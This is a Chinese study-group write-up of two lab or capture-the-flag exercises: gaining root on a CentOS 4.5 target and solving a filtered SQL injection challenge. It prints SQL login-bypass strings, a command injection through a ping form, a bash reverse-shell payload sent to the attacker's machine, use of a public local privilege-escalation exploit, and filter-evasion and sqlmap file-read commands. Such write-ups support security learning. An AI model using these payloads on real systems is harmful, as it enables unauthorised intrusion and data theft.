c组第四周笔记汇总

Centos4.5渗透WP

1.拿到目标站week4.404sec.com,我们先直接访问一波发现80端口可以访问,继续使用nmap -p- week4.404sec.com扫描一下端口(这次渗透扫了端口不能说没多大用吧,只能说一点用也没有)也可以加个 -O nmap -p- -O ip 来扫描端口

2.直接进网站就是这么一个登陆界面,第一时间想到的是使用burp进行弱口令爆破,我爆破了一波,一点结果也没有,所以这里我们可以尝试一下使用sql注入
对SQL一点也不明白的可以看一下常见的Web漏洞——SQL注入

(百度上的教程说是用dirb扫描网站目录可以得到index.php?module=My_eGallery一个目录,然后可以通过下面这个来知道这里有sql注入)

对于扫出来的东西,我具体看了看,就发现了这么一个有价值的东西:
http://192.168.1.101/index.php?module=My_eGallery
这是可能存在SQL注入漏洞呀,我上网查了查找到以下信息:

1.尝试绕过密码登录

输入用户名:admin’or 1=1 —+ 或 admin’#
密码空着,成功登陆进去
2.尝试万能密码登录,输入用户名:admin 密码:2’or’1 或 ‘or 1=’1 成功进入

两种方法都可以进入,进入后就是这个界面

4.ping a machine on the network 翻译过来就是ping网络上的一台机器 然后在后面的代码框里输代码
就会返回ping出来的值,通过这里我们可以想到他应该可以类似于sql注入那样,可以打进去其他命令让他执行
输个whoami试试,输了,whoami不行,然后我们可以试试localhost;whoami 这下我们可以成功得知现在的用户是apache(;或&或&&在linux连续执行命令)

接下来我们可以使用一个工具—netcat—-网络中的瑞士军刀
使用方法看文章最底
这里我们使用他的侦听端口、反弹服务器shell的作用
1、反弹shell(使用nc工具)
在kali linux上使用nc开启侦听端口
输入命令: nc -lvvp 5555
然后在网页上ping 的那个页面输入下列代码:
直接输入内容:<靶机ip>;bash -i >& /dev/tcp/<你的kali的ip>/5555 0>&1

获取完shell以后,我们需要提权,因为我们现在是apache权限,没有root权限,无法访问桌面查看我们的flag
使用uname -r看了看显示一个内容,发现未知linux内核为2.6.9-55.EL.并且下面使用命令后弹出一个版本:centos 4.5
既然目的是为了权限提升,不找找漏洞不行呀,所以在这里我直接找找kali linux上是否有这个版本的漏洞???

再开一个kali搜索centos4.5版本的漏洞相关信息
root@wangzhike:~# searchsploit centos 4.5

输入searchsploit -x 9542将该漏洞下载下来
我们可以发现,他有一个9542.c的漏洞,我们可以输入searchsploit -x 9542将该漏洞下载下来,然后传到我们的网站上,这里就是通过使用wget命令让靶机服务器访问我们的网站把我们的漏洞下载到他的tmp临时文件夹下,我们可以在kal的/usr/share/exploitdb/exploits/linux_x86/local/9542.c文件下面找到我们需要的文件,然后把他传到自己的网站上,这我就不介绍了。
回到之前的kali终端

这样就是成功了,然后我们先使用gcc编译器编译成a.out文件,再执行此文件,先使用 gcc 9542.c

然后使用./a.out 命令执行此文件

这时就是root了
输入 cd /到根目录下找到flag.flag
使用cat命令将其打开,成功获取flag

基础题目之SQL注入

进入靶机,直接得到key位置

因为sql语句中闭合的方式是’),那直接使用’)闭合,回显错误,存在注入点。

order by是mysql中对查询数据进行排序的方法, 使用示例
select * from 表名 order by 列名(或者数字) asc;升序(默认升序)
select * from 表名 order by 列名(或者数字) desc;降序
这里的重点在于order by后既可以填列名或者是一个数字。举个例子: id是user表的第一列的列名,那么如果想根据id来排序,有两种写法
select * from user order by id;
select * from user order by 1;
后面加上’)order by 5回显正常,一直尝试增加判断的列数还是一样,未出现报错情况;也就是说明该条sql语句未被执行,猜测应该是过滤了空格、#、order等;
使用注释/**/代替空格,使用%23代替#

判断哪一列可以回显数据,使用union操作
发现union被过滤,解决方法:双写union

当前面的查询语句出错时就会执行后面的语句
例如将前面的id=1改为id=100000就会将前面报废,从而执行后面的
具体看:https://blog.csdn.net/weixin_44840696/article/details/89166154

发现1对应的列没有回显,所以可以在其他列使用load_file文件读取函数

2.使用sqlmap

打开kali输入代码:sqlmap -u <网址>

提示我们使用tamper脚本
输入代码:sqlmap -u <网址> —tamper=space2comment

输入代码:sqlmap -u <网址> —tamper=space2comment -dbs,跑出两个数据库

输入代码:sqlmap -u <网址> —tamper=space2comment -file-read=<文件位置> 来读文件


已经保存到这个路径
再使用cat命令读取内容

成功获取flag

相关推荐

发表评论

路人甲

网友评论(0)